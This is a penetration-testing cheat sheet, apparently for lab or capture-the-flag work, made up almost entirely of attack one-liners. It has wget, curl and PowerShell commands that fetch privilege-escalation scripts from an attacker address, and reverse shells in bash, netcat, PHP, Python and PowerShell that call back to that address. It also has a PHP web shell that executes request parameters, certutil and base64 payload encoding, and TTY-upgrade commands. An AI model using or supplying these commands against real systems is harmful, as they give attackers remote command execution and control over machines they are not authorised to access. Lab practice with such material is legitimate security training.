File Transfer
Linux
wget 10.10.14.10:666/linpeas.sh -O /tmp/linpeas.shcurl 10.10.14.10:666/linpeas.sh -o /tmp/linpeas.shWindows
(New-Object Net.WebClient).DownloadFile("http://10.10.14.10:666/winpeas.exe","C:\Windows\Temp\winpeas.exe")Invoke-WebRequest "http://10.10.14.10:666/winpeas.exe" -OutFile "winpeas.exe"wget "http://10.10.14.10:666/winpeas.exe" -OutFile "C:\Windows\Temp\winpeas.exe"Reverse Shells
Bash
bash -i >& /dev/tcp/10.10.14.10/666 0>&1nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.10 666 >/tmp/fPHP
php -r '$sock=fsockopen("10.10.14.10",666);exec("/bin/sh -i <&3 >&3 2>&3");'PHP Payload
<?php system($_REQUEST['cmd']); ?>Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"File Encoding
Linux
base64 -w0 <file> -------------> Encode filebase64 -d file -------------> Decode fileWindows
certutil -encode payload.dll payload.b64 -------------> Encode filecertutil -decode payload.b64 payload.dll -------------> Decode fileTTY Shells
Python
python -c 'import pty; pty.spawn("/bin/bash")'Bash
/bin/bash -iEcho
echo 'os.system('/bin/bash')'